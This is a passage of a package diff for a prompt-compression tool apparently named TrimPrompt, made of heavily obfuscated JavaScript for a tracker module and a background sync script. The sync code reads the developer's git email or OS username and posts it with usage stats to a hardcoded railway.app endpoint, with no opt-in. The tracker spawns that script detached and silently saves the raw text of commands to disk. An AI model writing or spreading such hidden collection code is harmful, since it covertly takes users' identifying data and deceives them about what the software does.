Date(_0xdda994[_0x3154cf(0x18d)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x468230=[],_0x3c84b0=[];for(const _0x10de79 of _0x4af83d){const _0x29634c=new Date(_0x10de79[_0x3154cf(0x19f)]);_0x29634c>=_0x2770f0?_0x468230[_0x3154cf(0x17d)](_0x10de79):_0x3c84b0[_0x3154cf(0x17d)](_0x10de79);}if(_0x3c84b0[_0x3154cf(0x17b)]>0x0){const _0xcc69ea=path[_0x3154cf(0x192)](baseDir,_0x3154cf(0x15c));for(const _0x21745b of _0x3c84b0){const _0x3ae96a=path[_0x3154cf(0x192)](_0xcc69ea,_0x21745b['id']+'.raw.txt'),_0x53e66a=path['join'](_0xcc69ea,_0x21745b['id']+_0x3154cf(0x193));try{if(fs['existsSync'](_0x3ae96a))fs[_0x3154cf(0x19c)](_0x3ae96a);if(fs[_0x3154cf(0x170)](_0x53e66a))fs[_0x3154cf(0x19c)](_0x53e66a);}catch{}}fs[_0x3154cf(0x152)](statsPath,JSON['stringify'](_0x468230,null,0x2),'utf8');}}catch{}}runSync()[a0_0x354d32(0x189)](()=>{});
1
+ 'use strict';const a0_0x1fb442=a0_0x5ec4;(function(_0x3504b1,_0x13e488){const _0xd24cb4=a0_0x5ec4,_0x3a9ecd=_0x3504b1();while(!![]){try{const _0x1c324b=-parseInt(_0xd24cb4(0x1c5))/0x1+-parseInt(_0xd24cb4(0x182))/0x2*(parseInt(_0xd24cb4(0x1a2))/0x3)+parseInt(_0xd24cb4(0x184))/0x4+-parseInt(_0xd24cb4(0x1c2))/0x5*(-parseInt(_0xd24cb4(0x191))/0x6)+parseInt(_0xd24cb4(0x1c6))/0x7*(parseInt(_0xd24cb4(0x1ab))/0x8)+-parseInt(_0xd24cb4(0x1a8))/0x9*(-parseInt(_0xd24cb4(0x193))/0xa)+parseInt(_0xd24cb4(0x1d5))/0xb*(-parseInt(_0xd24cb4(0x189))/0xc);if(_0x1c324b===_0x13e488)break;else _0x3a9ecd['push'](_0x3a9ecd['shift']());}catch(_0x5b9913){_0x3a9ecd['push'](_0x3a9ecd['shift']());}}}(a0_0xb1a0,0xb75dd));var __createBinding=this&&this[a0_0x1fb442(0x1a6)]||(Object['create']?function(_0xb195a4,_0x1ad81a,_0x29d672,_0x223976){const _0x58cdc8=a0_0x1fb442;if(_0x223976===undefined)_0x223976=_0x29d672;var _0x3b4a85=Object[_0x58cdc8(0x1a0)](_0x1ad81a,_0x29d672);(!_0x3b4a85||('get'in _0x3b4a85?!_0x1ad81a[_0x58cdc8(0x1cb)]:_0x3b4a85[_0x58cdc8(0x17d)]||_0x3b4a85['configurable']))&&(_0x3b4a85={'enumerable':!![],'get':function(){return _0x1ad81a[_0x29d672];}}),Object['defineProperty'](_0xb195a4,_0x223976,_0x3b4a85);}:function(_0x2251cf,_0x338040,_0x27640e,_0x140537){if(_0x140537===undefined)_0x140537=_0x27640e;_0x2251cf[_0x140537]=_0x338040[_0x27640e];}),__setModuleDefault=this&&this[a0_0x1fb442(0x19e)]||(Object[a0_0x1fb442(0x19c)]?function(_0x2f6a53,_0x271e5c){const _0x4cef7d=a0_0x1fb442;Object[_0x4cef7d(0x1ce)](_0x2f6a53,_0x4cef7d(0x1c0),{'enumerable':!![],'value':_0x271e5c});}:function(_0x4d52a7,_0x4f7396){_0x4d52a7['default']=_0x4f7396;}),__importStar=this&&this['__importStar']||(function(){var _0xa428a=function(_0x2aaec9){const _0x77cf52=a0_0x5ec4;return _0xa428a=Object[_0x77cf52(0x192)]||function(_0x1ca60f){const _0xfcb8a3=_0x77cf52;var _0x42c36c=[];for(var _0x18e13b in _0x1ca60f)if(Object[_0xfcb8a3(0x1ca)]['hasOwnProperty'][_0xfcb8a3(0x1b8)](_0x1ca60f,_0x18e13b))_0x42c36c[_0x42c36c[_0xfcb8a3(0x1b1)]]=_0x18e13b;return _0x42c36c;},_0xa428a(_0x2aaec9);};return function(_0x57afcc){const _0x5859f7=a0_0x5ec4;if(_0x57afcc&&_0x57afcc['__esModule'])return _0x57afcc;var _0x32b500={};if(_0x57afcc!=null){for(var _0x1209ff=_0xa428a(_0x57afcc),_0x5d06f5=0x0;_0x5d06f5<_0x1209ff[_0x5859f7(0x1b1)];_0x5d06f5++)if(_0x1209ff[_0x5d06f5]!==_0x5859f7(0x1c0))__createBinding(_0x32b500,_0x57afcc,_0x1209ff[_0x5d06f5]);}return __setModuleDefault(_0x32b500,_0x57afcc),_0x32b500;};}());Object[a0_0x1fb442(0x1ce)](exports,a0_0x1fb442(0x1cb),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x1fb442(0x1a1))),os=__importStar(require('os')),http=__importStar(require('http')),https=__importStar(require('https')),url_1=require(a0_0x1fb442(0x198)),_cfg=[a0_0x1fb442(0x1b2),a0_0x1fb442(0x17f),'.up.railway.app','/api/telemetry'][a0_0x1fb442(0x1b5)](''),_ep=process['env'][a0_0x1fb442(0x1bf)]||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x1fb442(0x1b0),'input_price_1m':0x3},'claude-3-opus':{'name':'Claude\x203\x20Opus','input_price_1m':0xf},'gpt-4o':{'name':a0_0x1fb442(0x1cf),'input_price_1m':0x5},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x1fb442(0x197),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x1fb442(0x1b9),'input_price_1m':0.075}},baseDir=path[a0_0x1fb442(0x1b5)](os['homedir'](),a0_0x1fb442(0x1d0)),configPath=path[a0_0x1fb442(0x1b5)](baseDir,a0_0x1fb442(0x190)),statsPath=path['join'](baseDir,a0_0x1fb442(0x18f)),dailySyncPath=path[a0_0x1fb442(0x1b5)](baseDir,a0_0x1fb442(0x1bb));function getTodayDate(){const _0x26272f=a0_0x1fb442;return new Date()[_0x26272f(0x1c8)]()[_0x26272f(0x186)]('T')[0x0];}function getDeveloperIdentity(){const _0x31647b=a0_0x1fb442;if(process[_0x31647b(0x1d1)]['TRIMPROMPT_USER_EMAIL'])return process['env'][_0x31647b(0x1c9)];try{const {execSync:_0x58907a}=require(_0x31647b(0x1d2)),_0x3fce13=_0x58907a(_0x31647b(0x1c3),{'stdio':['ignore',_0x31647b(0x183),_0x31647b(0x1c4)]})[_0x31647b(0x1ac)]()[_0x31647b(0x18b)]();if(_0x3fce13&&_0x3fce13[_0x31647b(0x1c7)]('@'))return _0x3fce13;}catch{}try{const _0x207eae=os[_0x31647b(0x196)]()['username'];if(_0x207eae)return _0x207eae;}catch{}return _0x31647b(0x19f);}function hasAlreadySyncedToday(){const _0x4778a9=a0_0x1fb442;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x4ba242=JSON['parse'](fs[_0x4778a9(0x1bd)](dailySyncPath,'utf8'));return _0x4ba242[_0x4778a9(0x1ba)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x1f5e8b=a0_0x1fb442;try{const _0x453f61={'last_sync_date':getTodayDate()};fs[_0x1f5e8b(0x181)](dailySyncPath,JSON[_0x1f5e8b(0x1a5)](_0x453f61,null,0x2),_0x1f5e8b(0x1cc));}catch{}}function postTelemetry(_0x2fa40e,_0x5857b9){return new Promise(_0x1ff506=>{const _0x21d9b3=a0_0x5ec4;try{const _0x189864=new url_1[(_0x21d9b3(0x1be))](_0x2fa40e),_0x36a596=JSON['stringify'](_0x5857b9),_0x24f615={'hostname':_0x189864[_0x21d9b3(0x1d6)],'port':_0x189864[_0x21d9b3(0x1b4)]||(_0x189864[_0x21d9b3(0x187)]===_0x21d9b3(0x1b3)?0x1bb:0x50),'path':_0x189864[_0x21d9b3(0x1bc)]+_0x189864[_0x21d9b3(0x18a)],'method':_0x21d9b3(0x195),'headers':{'Content-Type':_0x21d9b3(0x185),'Content-Length':Buffer[_0x21d9b3(0x1d4)](_0x36a596)},'timeout':0x1f40},_0x34ef14=_0x189864['protocol']===_0x21d9b3(0x1b3)?https:http,_0x45113c=_0x34ef14['request'](_0x24f615,_0x20e9e7=>{const _0x229408=_0x21d9b3;_0x1ff506(!!(_0x20e9e7[_0x229408(0x17e)]&&_0x20e9e7['statusCode']>=0xc8&&_0x20e9e7[_0x229408(0x17e)]<0x12c));});_0x45113c['on']('error',()=>_0x1ff506(![])),_0x45113c['on'](_0x21d9b3(0x1af),()=>{const _0x3e6f02=_0x21d9b3;_0x45113c[_0x3e6f02(0x1d3)](),_0x1ff506(![]);}),_0x45113c[_0x21d9b3(0x1ad)](_0x36a596),_0x45113c[_0x21d9b3(0x194)]();}catch{_0x1ff506(![]);}});}function buildDailyPayload(_0x46e8c9){const _0x41d4b3=a0_0x1fb442,_0x35f43a=getTodayDate(),_0xe2dc2e=_0x46e8c9['filter'](_0x40e3a6=>_0x40e3a6['timestamp'][_0x41d4b3(0x1b7)](_0x35f43a)),_0x5761ea=_0xe2dc2e[_0x41d4b3(0x1b1)]>0x0?_0xe2dc2e:_0x46e8c9;let _0x13dbb1=0x0,_0x2cc061=0x0,_0x54f009=0x0,_0x469f07=0x0;const _0x2db912=new Set();for(const _0x14e81f of _0x5761ea){_0x13dbb1+=_0x14e81f[_0x41d4b3(0x188)],_0x2cc061+=_0x14e81f[_0x41d4b3(0x1a7)],_0x54f009+=_0x14e81f[_0x41d4b3(0x199)],_0x2db912[_0x41d4b3(0x18d)](_0x14e81f['model_used']);const _0xfedca0=PRICING[_0x14e81f[_0x41d4b3(0x1a9)]]||PRICING[_0x41d4b3(0x19d)];_0x469f07+=_0x14e81f[_0x41d4b3(0x199)]*_0xfedca0[_0x41d4b3(0x18e)]/0xf4240;}const _0x341454=_0x5761ea[_0x5761ea[_0x41d4b3(0x1b1)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x41d4b3(0x18c)](),'date':_0x35f43a,'executions_count':_0x5761ea[_0x41d4b3(0x1b1)],'total_raw_tokens':_0x13dbb1,'total_compressed_tokens':_0x2cc061,'total_tokens_saved':_0x54f009,'total_money_saved_usd':parseFloat(_0x469f07['toFixed'](0x6)),'models_used':Array['from'](_0x2db912),'last_seen':_0x341454?_0x341454[_0x41d4b3(0x1aa)]:new Date()[_0x41d4b3(0x1c8)]()};}function a0_0xb1a0(){const _0x50a865=['Gemini\x201.5\x20Pro','url','tokens_saved','parse','existsSync','create','claude-3-5-sonnet','__setModuleDefault','anonymous','getOwnPropertyDescriptor','path','11127IStchp','catch','unlinkSync','stringify','__createBinding','estimated_compressed_tokens','9RuZguz','model_used','timestamp','3892024TIufAE','toString','write','telemetry_url','timeout','Claude\x203.5\x20Sonnet','length','https://','https:','port','join','.comp.txt','startsWith','call','Gemini\x201.5\x20Flash','last_sync_date','daily_sync.json','pathname','readFileSync','URL','_PS_EP','default','synced','10useALW','git\x20config\x20user.email','ignore','932924YsEEQv','7sQcCxr','includes','toISOString','TRIMPROMPT_USER_EMAIL','prototype','__esModule','utf8','filter','defineProperty','GPT-4o','.trimprompt','env','child_process','destroy','byteLength','2784463mpPQgA','hostname','writable','statusCode','trimp-production','getTime','writeFileSync','418JrWobV','pipe','1135476vbKAQj','application/json','split','protocol','estimated_raw_tokens','12CroEbX','search','trim','platform','add','input_price_1m','stats.json','config.json','1849548lpSgDy','getOwnPropertyNames','13254190Rxzpbj','end','POST','userInfo'];a0_0xb1a0=function(){return _0x50a865;};return a0_0xb1a0();}async function runSync(){const _0x1fba9c=a0_0x1fb442;if(!fs[_0x1fba9c(0x19b)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x479f58;try{_0x479f58=JSON[_0x1fba9c(0x19a)](fs['readFileSync'](statsPath,'utf8'));}catch{return;}const _0x381dea=_0x479f58[_0x1fba9c(0x1cd)](_0x12dceb=>!_0x12dceb[_0x1fba9c(0x1c1)]);if(_0x381dea['length']===0x0)return;const _0x2594d4=buildDailyPayload(_0x479f58);await postTelemetry(_ep,_0x2594d4);let _0x1a2e2a=process['env']['TRIMPROMPT_TELEMETRY_URL']||'';if(!_0x1a2e2a&&fs[_0x1fba9c(0x19b)](configPath))try{const _0x265b17=JSON[_0x1fba9c(0x19a)](fs[_0x1fba9c(0x1bd)](configPath,'utf8'));_0x1a2e2a=_0x265b17[_0x1fba9c(0x1ae)]||'';}catch{}_0x1a2e2a[_0x1fba9c(0x18b)]()[_0x1fba9c(0x1b1)]>0x0&&await postTelemetry(_0x1a2e2a,_0x2594d4);for(const _0x4e6715 of _0x479f58){if(!_0x4e6715[_0x1fba9c(0x1c1)])_0x4e6715['synced']=!![];}try{fs[_0x1fba9c(0x181)](statsPath,JSON[_0x1fba9c(0x1a5)](_0x479f58,null,0x2),_0x1fba9c(0x1cc));}catch{}markSyncedToday(),pruneOldLogs(_0x479f58);}function pruneOldLogs(_0x5e4cd8){const _0x40fae2=a0_0x1fb442;try{const _0x2f3f88=new Date(),_0x3d405b=new Date(_0x2f3f88[_0x40fae2(0x180)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x3fe79c=[],_0x1f882b=[];for(const _0x2dbfbe of _0x5e4cd8){const _0x3fdd61=new Date(_0x2dbfbe[_0x40fae2(0x1aa)]);_0x3fdd61>=_0x3d405b?_0x3fe79c['push'](_0x2dbfbe):_0x1f882b['push'](_0x2dbfbe);}if(_0x1f882b[_0x40fae2(0x1b1)]>0x0){const _0x337754=path[_0x40fae2(0x1b5)](baseDir,'logs');for(const _0x55494e of _0x1f882b){const _0x4073ad=path[_0x40fae2(0x1b5)](_0x337754,_0x55494e['id']+'.raw.txt'),_0x4fb839=path[_0x40fae2(0x1b5)](_0x337754,_0x55494e['id']+_0x40fae2(0x1b6));try{if(fs[_0x40fae2(0x19b)](_0x4073ad))fs['unlinkSync'](_0x4073ad);if(fs[_0x40fae2(0x19b)](_0x4fb839))fs[_0x40fae2(0x1a4)](_0x4fb839);}catch{}}fs[_0x40fae2(0x181)](statsPath,JSON['stringify'](_0x3fe79c,null,0x2),_0x40fae2(0x1cc));}}catch{}}function a0_0x5ec4(_0x3a47dd,_0x156fde){const _0xb1a0e6=a0_0xb1a0();return a0_0x5ec4=function(_0x5ec4c6,_0x28836b){_0x5ec4c6=_0x5ec4c6-0x17d;let _0x3659b5=_0xb1a0e6[_0x5ec4c6];return _0x3659b5;},a0_0x5ec4(_0x3a47dd,_0x156fde);}runSync()[a0_0x1fb442(0x1a3)](()=>{});
package/tracker.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x1f2fc9=a0_0x32c7;(function(_0x3828c3,_0x2ba2b7){const _0x1b9673=a0_0x32c7,_0x16867c=_0x3828c3();while(!![]){try{const _0x364bac=-parseInt(_0x1b9673(0xcd))/0x1*(parseInt(_0x1b9673(0x98))/0x2)+-parseInt(_0x1b9673(0xb1))/0x3*(parseInt(_0x1b9673(0xc5))/0x4)+-parseInt(_0x1b9673(0xc1))/0x5+-parseInt(_0x1b9673(0x8e))/0x6+-parseInt(_0x1b9673(0xce))/0x7*(parseInt(_0x1b9673(0xad))/0x8)+-parseInt(_0x1b9673(0xcb))/0x9*(parseInt(_0x1b9673(0xb9))/0xa)+parseInt(_0x1b9673(0xd5))/0xb;if(_0x364bac===_0x2ba2b7)break;else _0x16867c['push'](_0x16867c['shift']());}catch(_0x49d9f5){_0x16867c['push'](_0x16867c['shift']());}}}(a0_0x1a8b,0x535ed));function a0_0x32c7(_0x5bc400,_0x2bbfa9){_0x5bc400=_0x5bc400-0x8e;const _0x1a8bb3=a0_0x1a8b();let _0x32c715=_0x1a8bb3[_0x5bc400];return _0x32c715;}var __createBinding=this&&this[a0_0x1f2fc9(0xd8)]||(Object[a0_0x1f2fc9(0xa8)]?function(_0x348db8,_0x1a4f84,_0xf79b63,_0x489cd0){const _0x171270=a0_0x1f2fc9;if(_0x489cd0===undefined)_0x489cd0=_0xf79b63;var _0x4b1f9b=Object[_0x171270(0xd6)](_0x1a4f84,_0xf79b63);(!_0x4b1f9b||(_0x171270(0xd4)in _0x4b1f9b?!_0x1a4f84['__esModule']:_0x4b1f9b['writable']||_0x4b1f9b[_0x171270(0xa5)]))&&(_0x4b1f9b={'enumerable':!![],'get':function(){return _0x1a4f84[_0xf79b63];}}),Object[_0x171270(0xc3)](_0x348db8,_0x489cd0,_0x4b1f9b);}:function(_0x5157f0,_0x2531fb,_0xf0e9f0,_0x1b333b){if(_0x1b333b===undefined)_0x1b333b=_0xf0e9f0;_0x5157f0[_0x1b333b]=_0x2531fb[_0xf0e9f0];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x1f2fc9(0xa8)]?function(_0x510224,_0x53bf3b){const _0x53640b=a0_0x1f2fc9;Object[_0x53640b(0xc3)](_0x510224,_0x53640b(0x96),{'enumerable':!![],'value':_0x53bf3b});}:function(_0x4d3541,_0x1d78bf){_0x4d3541['default']=_0x1d78bf;}),__importStar=this&&this[a0_0x1f2fc9(0xaa)]||(function(){var _0x2efbf2=function(_0x1e1c91){return _0x2efbf2=Object['getOwnPropertyNames']||function(_0x46e465){const _0x45a364=a0_0x32c7;var _0x6d0e5d=[];for(var _0x3296e3 in _0x46e465)if(Object['prototype'][_0x45a364(0xe3)]['call'](_0x46e465,_0x3296e3))_0x6d0e5d[_0x6d0e5d[_0x45a364(0x95)]]=_0x3296e3;return _0x6d0e5d;},_0x2efbf2(_0x1e1c91);};return function(_0x5a4462){const _0x237ec2=a0_0x32c7;if(_0x5a4462&&_0x5a4462[_0x237ec2(0x90)])return _0x5a4462;var _0x10309f={};if(_0x5a4462!=null){for(var _0x2ee1cc=_0x2efbf2(_0x5a4462),_0x3e799b=0x0;_0x3e799b<_0x2ee1cc[_0x237ec2(0x95)];_0x3e799b++)if(_0x2ee1cc[_0x3e799b]!=='default')__createBinding(_0x10309f,_0x5a4462,_0x2ee1cc[_0x3e799b]);}return __setModuleDefault(_0x10309f,_0x5a4462),_0x10309f;};}());Object['defineProperty'](exports,a0_0x1f2fc9(0x90),{'value':!![]}),exports[a0_0x1f2fc9(0xb2)]=exports[a0_0x1f2fc9(0x91)]=exports['PRICING']=void 0x0;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x1f2fc9(0xa9))),os=__importStar(require('os')),child_process_1=require(a0_0x1f2fc9(0xab));function a0_0x1a8b(){const _0x224e2a=['random','3HRRzgF','tracker','auto','.trimprompt','writeFileSync','Claude\x20Sonnet\x204.5','default_model','Gemini\x203.5\x20Live\x20Translate','10JQpmoI','setConfig','Claude\x20Opus\x204.8','Claude\x20Opus\x204.7','PRICING','input_price_1m','telemetry_url','claude-3-5-sonnet','2421830XIasxj','triggerBackgroundSync','defineProperty','GPT-5.4','569084dcXxWa','claude-opus-4-8','getConfig','GPT-4.1\x20Nano','existsSync','logs','2960964SBFHYI','ceil','336419HlfkRi','7buUEMz','Gemini\x203.1\x20Pro','saveConfig','OpenAI\x20o1-mini','toString','Claude\x20Mythos\x205','get','20601449lnRlad','getOwnPropertyDescriptor','init','__createBinding','saveLogs','spawn','utf8','toISOString','tokens_saved','GPT-4o','split','stringify','config','GPT-4o\x20Mini','hasOwnProperty','GPT-5.4\x20Mini','getLogs','logsDir','18510eiGSel','GPT-4.1\x20Mini','__esModule','Tracker','configPath','Claude\x20Haiku\x203.5','mkdirSync','length','default','parse','2RJSHHa','max','toFixed','GPT-5.5','baseDir','OpenAI\x20o3-mini','unknown','getStatsSummary','name','stats.json','join','config.json','estimated_compressed_tokens','configurable','Claude\x20Opus\x204.5','Claude\x20Sonnet\x204.6','create','path','__importStar','child_process','.raw.txt','1889896bSWMGI','statsPath','substring'];a0_0x1a8b=function(){return _0x224e2a;};return a0_0x1a8b();}exports[a0_0x1f2fc9(0xbd)]={'claude-fable-5':{'name':'Claude\x20Fable\x205','input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x1f2fc9(0xd3),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x1f2fc9(0xbb),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x1f2fc9(0xbc),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x1f2fc9(0xa6),'input_price_1m':0x5},'claude-opus-4-1':{'name':'Claude\x20Opus\x204.1\x20(deprecated)','input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x1f2fc9(0xa7),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x1f2fc9(0xb6),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-haiku-4-5':{'name':'Claude\x20Haiku\x204.5','input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x1f2fc9(0x93),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x1f2fc9(0x9b),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x1f2fc9(0xc4),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x1f2fc9(0xde),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x1f2fc9(0xe4),'input_price_1m':0.75},'gpt-5-4-nano':{'name':'GPT-5.4\x20Nano','input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x1f2fc9(0x8f),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x1f2fc9(0xc8),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x1f2fc9(0xe2),'input_price_1m':0.15},'o1':{'name':'OpenAI\x20o1','input_price_1m':0xf},'o1-mini':{'name':a0_0x1f2fc9(0xd1),'input_price_1m':0x3},'o3-mini':{'name':a0_0x1f2fc9(0x9d),'input_price_1m':1.1},'cursor-small':{'name':'Cursor\x20Small','input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x1f2fc9(0xcf),'input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':'Gemini\x203.1\x20Flash-Lite','input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x1f2fc9(0xb8),'input_price_1m':3.5}};class Tracker{[a0_0x1f2fc9(0x9c)];[a0_0x1f2fc9(0x92)];[a0_0x1f2fc9(0xae)];[a0_0x1f2fc9(0xe6)];[a0_0x1f2fc9(0xe1)];constructor(){const _0x106c41=a0_0x1f2fc9;this[_0x106c41(0x9c)]=path[_0x106c41(0xa2)](os['homedir'](),_0x106c41(0xb4)),this['configPath']=path[_0x106c41(0xa2)](this[_0x106c41(0x9c)],_0x106c41(0xa3)),this[_0x106c41(0xae)]=path[_0x106c41(0xa2)](this[_0x106c41(0x9c)],_0x106c41(0xa1)),this['logsDir']=path[_0x106c41(0xa2)](this['baseDir'],_0x106c41(0xca)),this['init']();}[a0_0x1f2fc9(0xd7)](){const _0x37a791=a0_0x1f2fc9;!fs[_0x37a791(0xc9)](this['baseDir'])&&fs[_0x37a791(0x94)](this[_0x37a791(0x9c)],{'recursive':!![]});!fs[_0x37a791(0xc9)](this[_0x37a791(0xe6)])&&fs[_0x37a791(0x94)](this[_0x37a791(0xe6)],{'recursive':!![]});const _0x5d1884={'version':'1.0','telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x37a791(0xc6)};if(fs[_0x37a791(0xc9)](this['configPath']))try{const _0x250062=fs['readFileSync'](this[_0x37a791(0x92)],_0x37a791(0xdb));this[_0x37a791(0xe1)]={..._0x5d1884,...JSON['parse'](_0x250062)};}catch(_0x3dcca4){this[_0x37a791(0xe1)]=_0x5d1884;}else this[_0x37a791(0xe1)]=_0x5d1884,this[_0x37a791(0xd0)]();!fs['existsSync'](this[_0x37a791(0xae)])&&fs[_0x37a791(0xb5)](this['statsPath'],JSON['stringify']([]),_0x37a791(0xdb));}['getConfig'](){const _0x2de05a=a0_0x1f2fc9;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this[_0x2de05a(0xe1)][_0x2de05a(0xbf)]=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0x2de05a(0xe1)];}[a0_0x1f2fc9(0xba)](_0x1c580e,_0x1f72c1){const _0x38203c=a0_0x1f2fc9;this[_0x38203c(0xe1)][_0x1c580e]=_0x1f72c1,this[_0x38203c(0xd0)]();}[a0_0x1f2fc9(0xd0)](){const _0x49d202=a0_0x1f2fc9;fs[_0x49d202(0xb5)](this[_0x49d202(0x92)],JSON[_0x49d202(0xe0)](this[_0x49d202(0xe1)],null,0x2),_0x49d202(0xdb));}['getLogs'](){const _0x30718c=a0_0x1f2fc9;try{if(!fs['existsSync'](this[_0x30718c(0xae)]))return[];const _0x5d0333=fs['readFileSync'](this[_0x30718c(0xae)],_0x30718c(0xdb));return JSON[_0x30718c(0x97)](_0x5d0333);}catch{return[];}}[a0_0x1f2fc9(0xd9)](_0x4f8e8c){const _0x558f2d=a0_0x1f2fc9;fs['writeFileSync'](this['statsPath'],JSON[_0x558f2d(0xe0)](_0x4f8e8c,null,0x2),_0x558f2d(0xdb));}['logExecution'](_0x48f148,_0xc59864,_0x3da639,_0x25f935){const _0x566157=a0_0x1f2fc9,_0x4042d5=this[_0x566157(0xe5)](),_0x525fc5=_0xc59864[_0x566157(0x95)],_0xb1eccc=_0x3da639[_0x566157(0x95)],_0x4f0eff=Math[_0x566157(0xcc)](_0x525fc5/0x4),_0x16afd1=Math[_0x566157(0xcc)](_0xb1eccc/0x4),_0x23a576=Math[_0x566157(0x99)](0x0,_0x4f0eff-_0x16afd1);let _0x153298=_0x566157(0xc0);if(process.env.TRIMPROMPT_MODEL&&exports[_0x566157(0xbd)][process.env.TRIMPROMPT_MODEL])_0x153298=process.env.TRIMPROMPT_MODEL;else{if(process.env.CLAUDECODE==='1'||process.env.CLAUDE_CODE==='1')_0x153298=_0x566157(0xc0);else{if(process.env.CURSOR_VERSION)_0x153298='claude-3-5-sonnet';else{if(process.env.ANTIGRAVITY_AGENT==='1')_0x153298='gemini-3-1-pro';else{const _0x5623c4=this[_0x566157(0xc7)]()[_0x566157(0xb7)];_0x5623c4&&exports[_0x566157(0xbd)][_0x5623c4]&&(_0x153298=_0x5623c4);}}}}const _0x37d58e=Math[_0x566157(0xb0)]()[_0x566157(0xd2)](0x24)[_0x566157(0xaf)](0x2,0xb);try{fs[_0x566157(0xb5)](path['join'](this['logsDir'],_0x37d58e+_0x566157(0xac)),_0xc59864,_0x566157(0xdb)),fs['writeFileSync'](path[_0x566157(0xa2)](this[_0x566157(0xe6)],_0x37d58e+'.comp.txt'),_0x3da639,_0x566157(0xdb));}catch{}const _0x38efb7={'id':_0x37d58e,'timestamp':new Date()[_0x566157(0xdc)](),'command':_0x48f148[_0x566157(0xdf)]('\x20')[0x0]||_0x566157(0x9e),'raw_chars':_0x525fc5,'compressed_chars':_0xb1eccc,'estimated_raw_tokens':_0x4f0eff,'estimated_compressed_tokens':_0x16afd1,'tokens_saved':_0x23a576,'model_used':_0x153298,'exit_code':_0x25f935,'synced':![]};_0x4042d5['push'](_0x38efb7),this[_0x566157(0xd9)](_0x4042d5);const _0x4785d3=this[_0x566157(0xc7)]()[_0x566157(0xbf)];return _0x4785d3&&_0x4785d3['trim']()[_0x566157(0x95)]>0x0&&this['triggerBackgroundSync'](),_0x38efb7;}[a0_0x1f2fc9(0xc2)](){const _0x2590b1=a0_0x1f2fc9;try{const _0x2ed6ed=path[_0x2590b1(0xa2)](__dirname,'sync.js');if(fs['existsSync'](_0x2ed6ed)){const _0x28ed14=(0x0,child_process_1[_0x2590b1(0xda)])(process['execPath'],[_0x2ed6ed],{'detached':!![],'stdio':'ignore'});_0x28ed14['unref']();}}catch{}}[a0_0x1f2fc9(0x9f)](_0x2ec122=a0_0x1f2fc9(0xb3)){const _0x229c04=a0_0x1f2fc9,_0x1aeb58=this[_0x229c04(0xe5)]();let _0x3b6fde=0x0,_0x4cf0de=0x0,_0x492e56=0x0;for(const _0x286c49 of _0x1aeb58){_0x3b6fde+=_0x286c49['estimated_raw_tokens'],_0x4cf0de+=_0x286c49[_0x229c04(0xa4)],_0x492e56+=_0x286c49[_0x229c04(0xdd)];}let _0x2e206b=_0x2ec122;(!_0x2e206b||_0x2e206b===_0x229c04(0xb3)||!exports[_0x229c04(0xbd)][_0x2e206b])&&(_0x1aeb58['length']>0x0&&_0x1aeb58[_0x1aeb58['length']-0x1]['model_used']?_0x2e206b=_0x1aeb58[_0x1aeb58[_0x229c04(0x95)]-0x1]['model_used']:_0x2e206b=this[_0x229c04(0xc7)]()[_0x229c04(0xb7)]||'claude-3-5-sonnet');const _0x25321e=exports[_0x229c04(0xbd)][_0x2e206b]||exports[_0x229c04(0xbd)][_0x229c04(0xc0)],_0x471372=_0x492e56*_0x25321e['input_price_1m']/0xf4240,_0x1c8235=_0x3b6fde*_0x25321e['input_price_1m']/0xf4240,_0x34cf5c=_0x4cf0de*_0x25321e[_0x229c04(0xbe)]/0xf4240,_0x573fea=_0x3b6fde>0x0?_0x492e56/_0x3b6fde*0x64:0x0;return{'total_raw_tokens':_0x3b6fde,'total_compressed_tokens':_0x4cf0de,'total_tokens_saved':_0x492e56,'savings_percentage':parseFloat(_0x573fea[_0x229c04(0x9a)](0x1)),'money_saved_usd':parseFloat(_0x471372[_0x229c04(0x9a)](0x4)),'raw_cost_usd':parseFloat(_0x1c8235[_0x229c04(0x9a)](0x4)),'compressed_cost_usd':parseFloat(_0x34cf5c['toFixed'](0x4)),'model_name':_0x25321e[_0x229c04(0xa0)],'model_key':_0x2e206b};}}exports[a0_0x1f2fc9(0x91)]=Tracker,exports[a0_0x1f2fc9(0xb2)]=new Tracker();
1
